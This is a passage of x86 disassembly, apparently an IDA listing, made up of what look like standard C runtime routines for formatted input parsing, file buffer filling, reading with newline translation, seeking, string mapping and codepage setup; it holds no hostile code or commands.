loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_4397AC, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_4395A0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_4397AC, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_48B340[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_43BC20 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_48B440 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:48B340h[eax*4] mov eax, dword_48B340[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2611183h test eax, eax jnz short loc_41E3E9 call near ptr 2630313h nop push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_48A014, 9 mov dword_48A018, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2611183h test eax, eax jnz short loc_41E48A call near ptr 2630313h nop test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_48A018, 0 mov dword_48A014, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_48B440 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_48A014, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 26B0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B call near ptr 2630313h nop jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_48A018, 0 mov dword_48A014, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_48B340[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_48A014, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_48A0C0, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi nop call near ptr 2860000h test eax, eax jz short loc_41E75D mov dword_48A0C0, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_43C824 push esi push edi call near ptr 2850000h nop test eax, eax jz loc_41E897 mov dword_48A0C0, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_48A0C0 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2610000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2610000h test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2790000h mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_48B444 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_43B940 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_43BA30 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi call near ptr 2861185h nop cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 cmp [ebp+var_18], 1 mov dword_48B444, esi rep stosd stosb mov dword_48B664, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_48B561[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43B950[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_43B938[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_48B561[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_48B45C, 1 push eax mov dword_48B444, eax call sub_41EB10 lea esi, dword_43B944[esi] mov edi, offset dword_48B450 movsd movsd pop ecx mov dword_48B664, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_48B561[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_48B664, eax mov dword_48B45C, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_48B45C, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_48B450 stosd stosd stosd jmp short 